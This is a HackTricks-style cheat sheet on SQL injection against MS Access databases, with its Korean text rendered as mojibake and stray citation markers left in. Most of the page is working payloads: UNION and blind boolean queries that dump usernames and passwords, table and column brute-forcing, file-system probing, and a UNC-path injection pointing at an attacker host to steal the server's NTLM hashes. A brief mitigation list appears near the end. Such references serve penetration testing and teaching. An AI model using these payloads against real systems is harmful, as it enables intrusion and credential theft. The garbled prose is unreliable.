MS Access SQL Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์˜จ๋ผ์ธ ํ”Œ๋ ˆ์ด๊ทธ๋ผ์šด๋“œ

DB ์ œํ•œ ์‚ฌํ•ญ

๋ฌธ์ž์—ด ์—ฐ๊ฒฐ

๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์€ & (%26) ๋ฐ + (%2b) ๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Comments

MS Access์—๋Š” ์ฃผ์„์ด ์—†์ง€๋งŒ, NULL ๋ฌธ์ž๋กœ ์ฟผ๋ฆฌ์˜ ๋งˆ์ง€๋ง‰์„ ์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค:

1' union select 1,2 from table%00

์ฟผ๋ฆฌ์˜ ๊ตฌ๋ฌธ์„ ํ•ญ์ƒ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

์ง€์›๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

LIMIT

LIMIT ์—ฐ์‚ฐ์ž๋Š” ๊ตฌํ˜„๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ TOP ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ SELECT ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์ฒ˜์Œ N ํ…Œ์ด๋ธ” ํ–‰์œผ๋กœ ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. TOP์€ ๋ฐ˜ํ™˜ํ•  ํ–‰์˜ ์ˆ˜๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์ •์ˆ˜๋ฅผ ์ธ์ˆ˜๋กœ ๋ฐ›์Šต๋‹ˆ๋‹ค.

1' UNION SELECT TOP 3 attr FROM table%00

Just like TOP you can use LAST which will get the rows from the end.

UNION Queries/Sub queries

In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in subqueries or extra queries a FROM is indicated.
๊ทธ๋ž˜์„œ, ๋งŒ์•ฝ UNION SELECT ๋˜๋Š” UNION ALL SELECT ๋˜๋Š” ์กฐ๊ฑด์—์„œ ๊ด„ํ˜ธ ์•ˆ์˜ SELECT๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด, ํ•ญ์ƒ ์œ ํšจํ•œ ํ…Œ์ด๋ธ” ์ด๋ฆ„๊ณผ ํ•จ๊ป˜ FROM์„ ํ‘œ์‹œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ, ์œ ํšจํ•œ ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

-1' UNION SELECT username,password from users%00

Chaining equals + Substring

Warning

์ด ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ฉด ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ์•Œ ํ•„์š” ์—†์ด ํ˜„์žฌ ํ…Œ์ด๋ธ”์˜ ๊ฐ’์„ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

MS Access๋Š” **'1'=2='3'='asd'=false**์™€ ๊ฐ™์€ ์ด์ƒํ•œ ๊ตฌ๋ฌธ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ SQL ์ธ์ ์…˜์€ WHERE ์ ˆ ์•ˆ์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

MS Access ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— SQLi๊ฐ€ ์žˆ๊ณ , ํ•œ ์—ด ์ด๋ฆ„์ด username์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ๊ณ  (๋˜๋Š” ์ถ”์ธกํ•˜๊ณ ) ๊ทธ ํ•„๋“œ๋ฅผ ์œ ์ถœํ•˜๊ณ  ์‹ถ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด์„ธ์š”. ์ฒด์ธ ๋“ฑํ˜ธ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•  ๋•Œ ์›น ์•ฑ์˜ ๋‹ค์–‘ํ•œ ์‘๋‹ต์„ ํ™•์ธํ•˜๊ณ  Mid ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด์„ ์–ป๋Š” ๋ถ€์šธ ์ธ์ ์…˜์œผ๋กœ ์ฝ˜ํ…์ธ ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

'=(Mid(username,1,3)='adm')='

ํ…Œ์ด๋ธ”์˜ ์ด๋ฆ„๊ณผ ์—ด์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, Mid, LAST ๋ฐ TOP์„ ์กฐํ•ฉํ•˜์—ฌ ๋ถˆ๋ฆฌ์–ธ SQLi๋ฅผ ํ†ตํ•ด ๋ชจ๋“  ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

์˜จ๋ผ์ธ ํ”Œ๋ ˆ์ด๊ทธ๋ผ์šด๋“œ์—์„œ ํ™•์ธํ•ด ๋ณด์„ธ์š”.

ํ…Œ์ด๋ธ” ์ด๋ฆ„ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ

์ฒด์ธ ์ดํ€„์Šค ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

'=(select+top+1+'lala'+from+<table_name>)='

๋ณด๋‹ค ์ „ํ†ต์ ์ธ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

-1' AND (SELECT TOP 1 <table_name>)%00

์˜จ๋ผ์ธ ํ”Œ๋ ˆ์ด๊ทธ๋ผ์šด๋“œ์—์„œ ํ™•์ธํ•ด ๋ณด์„ธ์š”.

์—ด ์ด๋ฆ„ ๊ฐ•์ œ ์ถ”์ธก

์ฒด์ธ ๋“ฑํ˜ธ ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ˜„์žฌ ์—ด ์ด๋ฆ„์„ ๊ฐ•์ œ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

'=column_name='

group by๋กœ:

-1' GROUP BY column_name%00

๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์˜ ์—ด ์ด๋ฆ„์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

๋ฐ์ดํ„ฐ ๋คํ”„

์šฐ๋ฆฌ๋Š” ์ด๋ฏธ ์ฒด์ธ ์ดํ€„์Šค ๊ธฐ๋ฒ• ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ˜„์žฌ ๋ฐ ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋คํ”„ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋…ผ์˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

๊ฐ„๋‹จํžˆ ๋งํ•ด, ์ฟผ๋ฆฌ๋Š” ์„ฑ๊ณต ์‹œ โ€œ200 OKโ€๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๊ทธ๋ ‡์ง€ ์•Š์„ ๊ฒฝ์šฐ โ€œ500 Internal Errorโ€๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด โ€œif-thenโ€ ๋ฌธ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. TOP 10 ์—ฐ์‚ฐ์ž๋ฅผ ์ด์šฉํ•˜๋ฉด ์ฒ˜์Œ 10๊ฐœ์˜ ๊ฒฐ๊ณผ๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ LAST๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ 10๋ฒˆ์งธ ํŠœํ”Œ๋งŒ ๊ณ ๋ คํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ’์— ๋Œ€ํ•ด MID ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ„๋‹จํ•œ ๋ฌธ์ž ๋น„๊ต๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. MID์™€ TOP์˜ ์ธ๋ฑ์Šค๋ฅผ ์ ์ ˆํžˆ ๋ณ€๊ฒฝํ•˜๋ฉด ๋ชจ๋“  ํ–‰์˜ โ€œusernameโ€ ํ•„๋“œ ๋‚ด์šฉ์„ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ (๋ธ”๋ผ์ธ๋“œ) ํŠธ๋ฆญ

Jet/ACE SQL ์ž์ฒด๋Š” SLEEP() ๋˜๋Š” WAITFOR ํ•จ์ˆ˜๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ๋…ธ์ถœํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ „ํ†ต์ ์ธ ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ ๋ธ”๋ผ์ธ๋“œ ์ธ์ ์…˜์€ ์ œํ•œ์ ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์—ฌ์ „ํžˆ ๋А๋ฆฌ๊ฑฐ๋‚˜ ์‘๋‹ตํ•˜์ง€ ์•Š๋Š” ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋„๋ก ๊ฐ•์ œํ•จ์œผ๋กœ์จ ์ธก์ • ๊ฐ€๋Šฅํ•œ ์ง€์—ฐ์„ ๋„์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—”์ง„์ด ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ธฐ ์ „์— ํŒŒ์ผ์„ ์—ด๋ ค๊ณ  ์‹œ๋„ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, HTTP ์‘๋‹ต ์‹œ๊ฐ„์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ์™•๋ณต ์ง€์—ฐ ์‹œ๊ฐ„์„ ๋ฐ˜์˜ํ•ฉ๋‹ˆ๋‹ค.

' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--

UNC ๊ฒฝ๋กœ๋ฅผ ๋‹ค์Œ์œผ๋กœ ์ง€์ •ํ•˜์‹ญ์‹œ์˜ค:

  • ๋†’์€ ๋Œ€๊ธฐ ์‹œ๊ฐ„ ๋งํฌ ๋’ค์˜ SMB ๊ณต์œ 
  • SYN-ACK ํ›„ TCP ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ๋“œ๋กญํ•˜๋Š” ํ˜ธ์ŠคํŠธ
  • ๋ฐฉํ™”๋ฒฝ ์‹ฑํฌํ™€

์›๊ฒฉ ์กฐํšŒ๋กœ ์ธํ•ด ์ถ”๊ฐ€๋œ ์ดˆ๋Š” ๋ถˆ๋ฆฌ์–ธ ์กฐ๊ฑด์— ๋Œ€ํ•œ ์•„์›ƒ ์˜ค๋ธŒ ๋ฐด๋“œ ํƒ€์ด๋ฐ ์˜ค๋ผํด๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: ์ฃผ์ž…๋œ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ๋งŒ ๋А๋ฆฐ ๊ฒฝ๋กœ ์„ ํƒ). Microsoft๋Š” KB5002984์—์„œ ์›๊ฒฉ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋™์ž‘ ๋ฐ ๊ด€๋ จ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ฌ ์Šค์œ„์น˜๋ฅผ ๋ฌธ์„œํ™”ํ•ฉ๋‹ˆ๋‹ค. ๎ˆ€cite๎ˆ‚turn1search0๎ˆ

๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ํ•จ์ˆ˜

  • Mid('admin',1,1) ์œ„์น˜ 1์—์„œ ๊ธธ์ด 1์˜ ํ•˜์œ„ ๋ฌธ์ž์—ด ๊ฐ€์ ธ์˜ค๊ธฐ (์ดˆ๊ธฐ ์œ„์น˜๋Š” 1)
  • LEN('1234') ๋ฌธ์ž์—ด์˜ ๊ธธ์ด ๊ฐ€์ ธ์˜ค๊ธฐ
  • ASC('A') ๋ฌธ์ž์— ๋Œ€ํ•œ ASCII ๊ฐ’ ๊ฐ€์ ธ์˜ค๊ธฐ
  • CHR(65) ASCII ๊ฐ’์—์„œ ๋ฌธ์ž์—ด ๊ฐ€์ ธ์˜ค๊ธฐ
  • IIF(1=1,'a','b') if then
  • COUNT(*) ํ•ญ๋ชฉ ์ˆ˜ ์„ธ๊ธฐ

ํ…Œ์ด๋ธ” ์—ด๊ฑฐ

์—ฌ๊ธฐ์—์„œ ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ๊ฐ€์ ธ์˜ค๋Š” ์ฟผ๋ฆฌ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

๊ทธ๋Ÿฌ๋‚˜ MSysObjects ํ…Œ์ด๋ธ”์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์ด ์—†๋Š” ๊ฒฝ์šฐ SQL ์ธ์ ์…˜์„ ์ฐพ๋Š” ๊ฒƒ์ด ๋งค์šฐ ์ผ๋ฐ˜์ ์ด๋ผ๋Š” ์ ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค.

ํŒŒ์ผ ์‹œ์Šคํ…œ ์ ‘๊ทผ

์›น ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ ์ „์ฒด ๊ฒฝ๋กœ

์›น ๋ฃจํŠธ ์ ˆ๋Œ€ ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ์ง€์‹์€ ์ถ”๊ฐ€ ๊ณต๊ฒฉ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์˜ค๋ฅ˜๊ฐ€ ์™„์ „ํžˆ ์ˆจ๊ฒจ์ง€์ง€ ์•Š์€ ๊ฒฝ์šฐ, ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์„ ํƒํ•˜๋ ค๊ณ  ์‹œ๋„ํ•จ์œผ๋กœ์จ ๋””๋ ‰ํ† ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access๋Š” ์›น ๋””๋ ‰ํ† ๋ฆฌ ์ „์ฒด ๊ฒฝ๋กœ๋ฅผ ํฌํ•จํ•˜๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋กœ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ ์—ด๊ฑฐ

๋‹ค์Œ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” ์›๊ฒฉ ํŒŒ์ผ ์‹œ์Šคํ…œ์—์„œ ํŒŒ์ผ์˜ ์กด์žฌ๋ฅผ ์ถ”๋ก ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ง€์ •๋œ ํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ, MS Access๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ˜•์‹์ด ์œ ํšจํ•˜์ง€ ์•Š๋‹ค๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

ํŒŒ์ผ์„ ์—ด๊ฑฐํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค.ํ…Œ์ด๋ธ” ํ•ญ๋ชฉ์„ ์ง€์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ง€์ •๋œ ํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ, MS Access๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ˜•์‹ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb ํŒŒ์ผ ์ด๋ฆ„ ์ถ”์ธก

**๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํŒŒ์ผ ์ด๋ฆ„ (.mdb)**์€ ๋‹ค์Œ ์ฟผ๋ฆฌ๋กœ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

์—ฌ๊ธฐ์„œ name[i]๋Š” .mdb ํŒŒ์ผ ์ด๋ฆ„์ด๊ณ  realTable์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ ์กด์žฌํ•˜๋Š” ํ…Œ์ด๋ธ”์ž…๋‹ˆ๋‹ค. MS Access๋Š” ํ•ญ์ƒ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜์ง€๋งŒ, ์œ ํšจํ•˜์ง€ ์•Š์€ ํŒŒ์ผ ์ด๋ฆ„๊ณผ ์œ ํšจํ•œ .mdb ํŒŒ์ผ ์ด๋ฆ„์„ ๊ตฌ๋ณ„ํ•˜๋Š” ๊ฒƒ์€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์›๊ฒฉ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ ‘๊ทผ ๋ฐ NTLM ์ž๊ฒฉ ์ฆ๋ช… ๋„์šฉ (2023)

Jet 4.0 ์ดํ›„ ๋ชจ๋“  ์ฟผ๋ฆฌ๋Š” IN '<path>' ์ ˆ์„ ํ†ตํ•ด ๋‹ค๋ฅธ .mdb/.accdb ํŒŒ์ผ์— ์žˆ๋Š” ํ…Œ์ด๋ธ”์„ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SELECT first_name FROM Employees IN '\\server\share\hr.accdb';

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด IN ๋’ค์˜ ๋ถ€๋ถ„(๋˜๋Š” JOIN โ€ฆ IN / OPENROWSET / OPENDATASOURCE ํ˜ธ์ถœ)์— ์—ฐ๊ฒฐ๋˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” UNC ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—”์ง„์€ ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  1. ์›๊ฒฉ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์—ด๊ธฐ ์œ„ํ•ด SMB / HTTP๋ฅผ ํ†ตํ•ด ์ธ์ฆ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค;
  2. ์›น ์„œ๋ฒ„์˜ NTLM ์ž๊ฒฉ ์ฆ๋ช…์„ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค(๊ฐ•์ œ ์ธ์ฆ);
  3. ์›๊ฒฉ ํŒŒ์ผ์„ ๊ตฌ๋ฌธ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค โ€“ ์ž˜๋ชป๋œ ํ˜•์‹์ด๊ฑฐ๋‚˜ ์•…์˜์ ์ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์—ฌ๋Ÿฌ ๋ฒˆ ํŒจ์น˜๋œ Jet/ACE ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ ๋ฒ„๊ทธ๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: CVE-2021-28455).

์‹ค์šฉ์ ์ธ ์ฃผ์ž… ์˜ˆ:

1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -

Impact:

  • Net-NTLMv2 ํ•ด์‹œ์˜ ๋น„๋™๊ธฐ ์œ ์ถœ (์ค‘๊ณ„ ๋˜๋Š” ์˜คํ”„๋ผ์ธ ํฌ๋ž˜ํ‚น์— ์‚ฌ์šฉ ๊ฐ€๋Šฅ).
  • ์ƒˆ๋กœ์šด Jet/ACE ํŒŒ์„œ ๋ฒ„๊ทธ๊ฐ€ ์•…์šฉ๋  ๊ฒฝ์šฐ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ๊ฐ€๋Šฅ์„ฑ.

Mitigations (๋ ˆ๊ฑฐ์‹œ Classic ASP ์•ฑ์—๋„ ๊ถŒ์žฅ):

  • HKLM\Software\Microsoft\Jet\4.0\Engines ์•„๋ž˜์— AllowQueryRemoteTables = 0 ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค (๋™์ผํ•œ ACE ๊ฒฝ๋กœ ์•„๋ž˜์—๋„). ์ด๋Š” Jet/ACE๊ฐ€ \\๋กœ ์‹œ์ž‘ํ•˜๋Š” ์›๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ๊ฑฐ๋ถ€ํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  • ๋„คํŠธ์›Œํฌ ๊ฒฝ๊ณ„์—์„œ ์•„์›ƒ๋ฐ”์šด๋“œ SMB/WebDAV ์ฐจ๋‹จ.
  • IN ์ ˆ ์•ˆ์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ๋Š” ์ฟผ๋ฆฌ์˜ ๋ชจ๋“  ๋ถ€๋ถ„์„ ์ •๋ฆฌ/๋งค๊ฐœ๋ณ€์ˆ˜ํ™”ํ•ฉ๋‹ˆ๋‹ค.

๊ฐ•์ œ ์ธ์ฆ ๋ฒกํ„ฐ๋Š” 2023๋…„ Check Point Research์— ์˜ํ•ด ์žฌ์กฐ๋ช…๋˜์—ˆ์œผ๋ฉฐ, ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค๊ฐ€ ์—†์„ ๋•Œ ์™„์ „ํžˆ ํŒจ์น˜๋œ Windows Server์—์„œ๋„ ์—ฌ์ „ํžˆ ์•…์šฉ ๊ฐ€๋Šฅํ•จ์„ ์ž…์ฆํ–ˆ์Šต๋‹ˆ๋‹ค. ๎ˆ€cite๎ˆ‚turn0search0๎ˆ

.mdb ๋น„๋ฐ€๋ฒˆํ˜ธ ํฌ๋ž˜์ปค

Access PassView๋Š” Microsoft Access 95/97/2000/XP ๋˜๋Š” Jet Database Engine 3.0/4.0์˜ ์ฃผ์š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌด๋ฃŒ ์œ ํ‹ธ๋ฆฌํ‹ฐ์ž…๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ